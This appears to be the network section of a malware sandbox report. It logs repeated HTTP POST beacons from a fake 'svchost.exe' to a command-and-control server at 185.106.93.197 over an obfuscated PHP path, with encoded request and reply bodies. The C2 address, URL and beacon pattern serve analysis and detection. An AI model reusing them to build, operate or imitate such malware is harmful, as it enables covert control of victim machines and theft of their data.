                                                                      Aug 28, 2024 11:18:14.525037050 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 1820
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:14.878396988 CEST1820OUTData Raw: 5b 55 5b 59 5d 5b 59 53 5b 57 5a 59 52 5c 54 54 54 5e 5e 5c 57 53 5a 59 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [U[Y][YS[WZYR\TTT^^\WSZY\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!C;"*>8$X >71^"+,.;17;?3(9]"9*)"Y %X!;
                                                                      Aug 28, 2024 11:18:15.201898098 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:15.330172062 CEST380INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:15 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Vary: Accept-Encoding
                                                                      Content-Length: 152
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 0d 1a 27 04 20 13 3c 0f 25 0d 2f 01 2c 38 22 51 28 2f 24 5e 2b 32 24 5d 30 3e 0e 10 24 38 3f 09 33 01 24 18 27 22 3d 5d 33 03 0a 0d 31 36 2d 5f 06 11 25 0a 23 28 29 59 38 0c 23 0c 3d 2d 02 5c 21 00 34 05 3d 0d 25 1d 22 07 3b 15 29 12 2a 50 3b 32 22 0d 29 14 2e 19 38 3e 33 0f 25 10 21 52 0c 17 22 51 3f 17 33 05 21 2b 21 0f 33 0c 3b 55 37 01 25 57 30 59 2b 1c 26 3a 2c 1f 28 5e 2b 0d 25 2e 27 0c 31 28 26 02 27 12 23 55 39 29 2e 53 22 00 2d 48 0e 3d 54 4d
                                                                      Data Ascii: ' <%/,8"Q(/$^+2$]0>$8?3$'"=]316-_%#()Y8#=-\!4=%";)*P;2").8>3%!R"Q?3!+!3;U7%W0Y+&:,(^+%.'1(&'#U9).S"-H=TM


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      60192.168.2.760165185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:14.644387007 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:15.003470898 CEST2512OUTData Raw: 5e 55 5e 5e 58 5f 59 56 5b 57 5a 59 52 5e 54 55 54 5b 5e 5e 57 54 5a 58 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^U^^X_YV[WZYR^TUT[^^WTZX\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!C,"&[<8 Y4.4^2:(6(:& (?$*?*&\"<[+"Y %X!+
                                                                      Aug 28, 2024 11:18:15.306840897 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:15.432725906 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:15 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      61192.168.2.760166185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:15.552604914 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:18:15.909570932 CEST2512OUTData Raw: 5e 57 5e 5e 5d 59 59 56 5b 57 5a 59 52 5e 54 51 54 59 5e 5b 57 51 5a 58 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^W^^]YYV[WZYR^TQTY^[WQZX\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!;"[(;+4]19'6,W-7#$,6Z?:"Z#<1]("Y %X!+
                                                                      Aug 28, 2024 11:18:16.202326059 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:16.516467094 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:16 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P
                                                                      Aug 28, 2024 11:18:16.553796053 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:16 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      62192.168.2.760168185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:16.644686937 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:17.003365993 CEST2512OUTData Raw: 5b 53 5e 58 5d 5e 59 52 5b 57 5a 59 52 5f 54 51 54 5d 5e 5b 57 57 5a 5f 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [S^X]^YR[WZYR_TQT]^[WWZ_\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!C816+8X#>+%)["(;9;!#$')+:="<!]<"Y %X!/
                                                                      Aug 28, 2024 11:18:17.327233076 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:17.462068081 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:17 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      63192.168.2.760170185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:17.582626104 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2504
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:17.940838099 CEST2504OUTData Raw: 5e 57 5e 5e 5d 5b 59 57 5b 57 5a 59 52 5c 54 50 54 59 5e 5e 57 51 5a 5f 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^W^^][YW[WZYR\TPTY^^WQZ_\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!;1<4#>$_&0!?9(:P#0._+9=5<!?"Y %X!3
                                                                      Aug 28, 2024 11:18:18.259114027 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:18.395139933 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:18 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      64192.168.2.760171185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:18.519691944 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:18.878385067 CEST2512OUTData Raw: 5e 50 5b 5b 5d 59 5c 52 5b 57 5a 59 52 5b 54 56 54 50 5e 5d 57 54 5a 5e 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^P[[]Y\R[WZYR[TVTP^]WTZ^\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!.1:(; &)36U:#,Z'Z!*:*6/!*9"Y %X!
                                                                      Aug 28, 2024 11:18:19.162276983 CEST232INHTTP/1.1 100 Continue
                                                                      Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 32 38 20 41 75 67 20 32 30 32 34 20 30 39 3a 31 38 3a 31 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 0d 0a 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 35 2c 20 6d 61 78 3d 31 30 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a 3f 52 5d 50
                                                                      Data Ascii: HTTP/1.1 200 OKDate: Wed, 28 Aug 2024 09:18:19 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 4Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-8?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      65192.168.2.760172185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:19.288938046 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:19.646943092 CEST2512OUTData Raw: 5e 50 5e 5d 58 5a 59 50 5b 57 5a 59 52 5e 54 53 54 5b 5e 5b 57 54 5a 5b 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^P^]XZYP[WZYR^TST[^[WTZ[\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS"/:>8(_#<&9";<R..P#8]',():X55("Y %X!+
                                                                      Aug 28, 2024 11:18:19.933214903 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:20.062171936 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:19 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      66192.168.2.760173185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:20.191246033 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      67192.168.2.760174185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:20.337342978 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 1844
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:20.691052914 CEST1844OUTData Raw: 5b 54 5e 5e 58 5f 5c 52 5b 57 5a 59 52 55 54 56 54 50 5e 5d 57 50 5a 5f 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [T^^X_\R[WZYRUTVTP^]WPZ_\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS"/2[>(4_ =(Y19#5;'.7,3<&Y<[!,?9"Y %X!
                                                                      Aug 28, 2024 11:18:21.002424002 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:21.134327888 CEST380INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:20 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Vary: Accept-Encoding
                                                                      Content-Length: 152
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 0d 1a 24 5d 21 2e 27 50 31 33 3c 58 2f 16 22 57 3d 2c 2b 07 29 1c 24 5e 24 3e 0e 1e 27 16 05 0e 33 3b 33 40 33 0b 36 00 33 3e 30 0f 26 26 2d 5f 06 11 26 18 34 28 32 04 2c 0c 3f 0e 29 5b 24 5c 36 3d 2b 5c 2b 20 35 1d 36 10 2b 5a 2a 02 0c 56 2c 1f 3d 1e 28 29 3d 03 38 5b 20 57 31 3a 21 52 0c 17 22 18 2b 07 0a 5d 34 38 08 53 30 0c 23 54 37 3c 31 54 27 11 28 0c 30 3a 33 0f 2b 2b 38 11 26 00 24 55 32 05 0b 5a 30 05 2b 51 2e 29 2e 53 22 00 2d 48 0e 3d 54 4d
                                                                      Data Ascii: $]!.'P13<X/"W=,+)$^$>'3;3@363>0&&-_&4(2,?)[$\6=+\+ 56+Z*V,=()=8[ W1:!R"+]48S0#T7<1T'(0:3++8&$U2Z0+Q.).S"-H=TM


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      68192.168.2.760175185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:20.466340065 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:20.815851927 CEST2512OUTData Raw: 5e 52 5b 58 5d 5f 59 54 5b 57 5a 59 52 55 54 5d 54 5a 5e 59 57 51 5a 5d 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^R[X]_YT[WZYRUT]TZ^YWQZ]\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS".!.]?(#.8&9#":! 8(X0?6_<:!6)]+"Y %X!
                                                                      Aug 28, 2024 11:18:21.126732111 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:21.262243986 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:21 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      69192.168.2.760176185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:21.378922939 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:18:21.737766981 CEST2512OUTData Raw: 5e 56 5b 5b 58 5c 5c 50 5b 57 5a 59 52 5f 54 5c 54 50 5e 53 57 53 5a 5d 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^V[[X\\P[WZYR_T\TP^SWSZ]\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS".""^<<_4$%9[!8?,(:V7'"X("#<*("Y %X!/
                                                                      Aug 28, 2024 11:18:22.241749048 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:22.242660046 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:21 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P
                                                                      Aug 28, 2024 11:18:22.243113995 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:21 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      70192.168.2.760177185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:22.367178917 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:22.722137928 CEST2512OUTData Raw: 5e 57 5e 5b 5d 5e 59 53 5b 57 5a 59 52 55 54 56 54 59 5e 5f 57 5e 5a 5a 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^W^[]^YS[WZYRUTVTY^_W^ZZ\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS",!._+(X4>%* [!;V,+278$-+.#/5[+9"Y %X!
                                                                      Aug 28, 2024 11:18:23.193753004 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:23.194210052 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:22 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P
                                                                      Aug 28, 2024 11:18:23.197849035 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:22 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      71192.168.2.760178185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:23.315346956 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
